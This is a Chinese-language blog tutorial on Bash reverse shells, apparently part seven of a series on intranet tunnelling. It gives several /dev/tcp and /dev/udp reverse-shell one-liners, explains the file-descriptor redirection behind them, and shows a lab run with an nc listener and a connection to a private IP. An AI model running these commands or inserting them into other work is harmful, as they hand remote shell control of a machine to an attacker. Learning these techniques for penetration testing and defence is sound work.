内网隧道代理技术(七)之Bash反弹shell
Bash反弹shell
Bash介绍
Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell
Bash 反弹Shell的命令如下:
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2
接下来,我们逐步分解,对这些参数进行详细介绍
“bash-i” 是指打开一个交互式的Shell
"&“符号用于区分文件和文件描述符,”>&“符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件,”>&“符号后面跟数字时表示后面的数字是文件描述符,不加”&“符号则会把后面的数字当成文件。数字"0”,“1”,"2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是指标准输出重定向, “2”是指错误输出重定向。
“/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。”>&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出
实验环境介绍
实验拓扑
机器名称 | IP | 机器 |
---|---|---|
攻击机器 | 192.168.41.130 | windows |
服务器 | 192.168.41.132 | kali |
实验复现
攻击机器使用nc执行监听命令
#监听 TCP
nc64.exe -lvvp 9999
#监听UDP
nc64.exe -lup 9999
实验服务器执行连接命令
bash -i >&/dev/tcp/192.168.41.130/9999 0>&1
查看结果,发现我们成功得到目标服务器IP
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效